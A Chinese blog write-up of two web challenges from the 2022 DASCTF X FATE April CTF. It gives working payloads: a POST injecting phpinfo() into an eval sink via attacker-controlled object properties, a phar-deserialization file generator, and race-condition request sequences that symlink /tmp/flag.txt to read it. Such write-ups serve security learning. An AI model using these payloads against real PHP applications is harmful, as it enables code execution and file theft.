WP篇之2022DASCTF X FATE 四月挑战赛

2022DASCTF X FATE 四月挑战赛

麻了麻了又是坐牢的一天,太难了现在的比赛呜呜呜,比赛中还是只打出了一道web,第二道web又是思路清晰但又是没做出来,第三道是java题目前水平估计还做不出来就先放放,那就复现复现前两道吧

1.warmup-php

一道纯粹的php代码审计的题,应该是某个cms改编的吧,看着头疼,一大堆没啥用的代码,接下来我就把关键代码放出来,更加方便理解一点儿:

入口文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

public function __construct($action,$properties){

$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}

new Action($action,$properties);
?>

可以看到就是创建一个对象,参数都是可控的,$action应该就是类名,然后$properties是参数,很明显应该传入一个数组,下面有个foreach循环,给对象中的属性赋值,也就是说这个对象以及对象中的属性都是我们可以控制的,然后再调用该对象的run方法

然后接着看代码,先看ListView.phpTestView.php,都是简化过的代码,并且加进去了一些输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
abstract class ListView extends Base
{

public $template;
public function run()
{
$this->renderContent();
}
public function renderContent()
{
ob_start();
var_dump($this->template);
echo "</br>";
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
protected function renderSection($matches)
{
$method='render'.$matches[1];
var_dump($method);
echo "</br>";
if(method_exists($this,$method))
{
$this->$method();
$html=ob_get_contents();
ob_clean();
return $html;
}
else
return $matches[0];
}
}

TestView.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class TestView extends ListView
{
public $rowHtmlOptionsExpression;
public $data=array();

public function renderTableRow($row)
{
$htmlOptions=array();
var_dump($row);
echo "</br>";
var_dump($this->rowHtmlOptionsExpression);
echo "</br>";
if($this->rowHtmlOptionsExpression!==null)
{
$data=$this->data[$row];
var_dump($data);
echo "</br>";
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
if(is_array($options))
$htmlOptions = $options;
}
}
public function renderTableBody()
{
$data=$this->data;
$n=count($data);
var_dump($n);
echo "</br>";
if($n>0)
{
for($row=0;$row<$n;++$row)
$this->renderTableRow($row);
}
}

}

简化过的代码看着就很舒服哈哈哈,ListView是一个抽象的父类,是不能被实例化的,然后TestView是它的子类,继承了它的方法,在入口处调用了该对象的run()方法,然后在run()方法中调用了renderContent()方法,在renderContent()中有一个preg_replace_callback,来看看这个方法咋个用的:

image.png

然后调入到renderSection方法中,在这里面可以调用任意的render方法,这里就调用TestView类中的renderTableBody方法,然后当$data不为空的时候,就会调用renderTableRow($row)这个方法,然后当$this->rowHtmlOptionsExpression不为空的时候就会调用evaluateExpression方法,这里就是终点了,看看它的代码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Base
{
public function evaluateExpression($_expression_,$_data_=array())
{
var_dump($_expression_);
echo "</br>";
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
}

}

它的$_expression_这个参数就是我们想要执行的php代码,也就是上面的$this->rowHtmlOptionsExpression这个参数,所以说最后的payload如下:

1
properties[template]={TableBody}&properties[data]=123&properties[rowHtmlOptionsExpression]=phpinfo()

image.png

2.soeasy_php

这个soeasy 我真的 哭死了

进去之后发现是一个上传点,可以上传任意文件,但都会被改名成png,这里想到有可能是phar反序列化

然后f12看看,发现有隐藏的东西,叫更换头像,把隐藏去掉然后抓个包

image.png

这里发现可以把任意文件都换成头像,那么我们就想到说不定这里可以任意文件读取,把想要读取的文件换成头像,然后访问头像就好了,看下图:

image.png

image.png

然后又怎么样呢,又不能把flag下下来哈哈哈,只能下载源码:

upload.php

1
2
3
4
5
6
7
8
9
10
11
<?php
if (!isset($_FILES['file'])) {
die("请上传头像");
}

$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
echo "上传成功: ".$path;
};

edit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
ini_set("error_reporting","0");
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}

}

function filewrite($file,$data){
unlink($file);
file_put_contents($file, $data);
}


if(isset($_POST['png'])){
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag{") !== false){
filewrite($filename,"Don't give me flag!!!");
}
}

if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
}
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
}
}

接下来就是漫长的坐牢过程,我盯着这源码研究了好久好久,硬是没找出来它漏洞在哪儿,刚开始思路是这样的,首先肯定先得上传一个phar文件,触发之后让它把flag内容写入到/tmp/flag.txt,这时候/tmp/flag.txt里面是正确的flag内容,然后利用symlink函数让/tmp/flag.txtuploads/head.png之间建立软链接,访问头像的时候就正好可以看到/tmp/flag.txt,我们就拿到flag了

当然,这是理想情况,实施起来却非常有难度,首先,在哪里触发phar反序列化嘞,fopen肯定是不行的,因为上面过滤掉了phar,这种是绕不过去的,所以说只能往下看,最下面那个unlink是可以触发的,那么问题又来了,我们怎么进入到unlink喃,正常情况下都会进入到if,显示出成功更换头像,怎么让它报错进入到else喃,这里就需要用到条件竞争了,当两个文件已经生成软链接的时候,假如再让它们生成,它们就会报错进入到else,但这利用正常逻辑是没办法做到的,因为每一次生成之前它都有一次unlink($head);,所以说就利用条件竞争,在它们还没来得及删掉的时候,另外一个进程访问它让它报错进入到else

好了,在这种情况下,我们成功触发了phar反序列化,并且将正确的flag内容写入到了/tmp/flag.txt中,那么接下来一个问题就是,我们怎么想办法读到正确的flag内容呢?按照正常逻辑,我们得传入一个flag的值,但无论这个flag的值是什么,这个/tmp/flag.txt的内容都将被改写,我们都没有办法读到正确的flag的内容,所以说这里就又需要用到条件竞争了,赶在它还没有写进去之前,抢着与正确的/tmp/flag.txt建立软链接,这时候头像就是正确的flag的值了,当然这肯定是一瞬间的,在后面又会被改掉,所以说需要批量发包获取头像,捕获那一瞬间,就能拿到真正的flag

所以说总结一下上面的,我们需要三个进程,第一个进程疯狂触发phar反序列化,第二个进程疯狂建立软链接,第三个进程疯狂读取头像的值,当你次数足够的多,运气足够的好,这三个进程撞到一起了的时候,flag就出了

先看看phar文件,这个贼简单:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class flag{
}
$a = new flag();
echo serialize($a);
$phar = new Phar("das.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","testaaa");
$phar -> stopBuffering();
?>

生成phar文件传上去就行,在跑的过程中如果出现下面这个页面就说明phar文件没有问题:

image.png

照理说这种应该能写python多线程脚本的,只不过本人编程能力有限,这里就用burp来代替了,三个进程的payload如下:

1
2
3
4
5
6
7
8
The First:
POST /edit.php
png=phar://uploads/1bb92ea10c5d93a6a8cecbb98eb48598.png&flag=flag%7Bx%7D
The Second:
POST /edit.php
png=/tmp/flag.txt&flag=flag%7Bx%7D
The Third:
GET /uploads/head.png

image.png

跑了一万五千次,总算是跑出来了,一万五千次才三个足以看出它概率有多小,所以说小伙伴们稍安勿躁嗷,payload没问题就慢慢跑

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信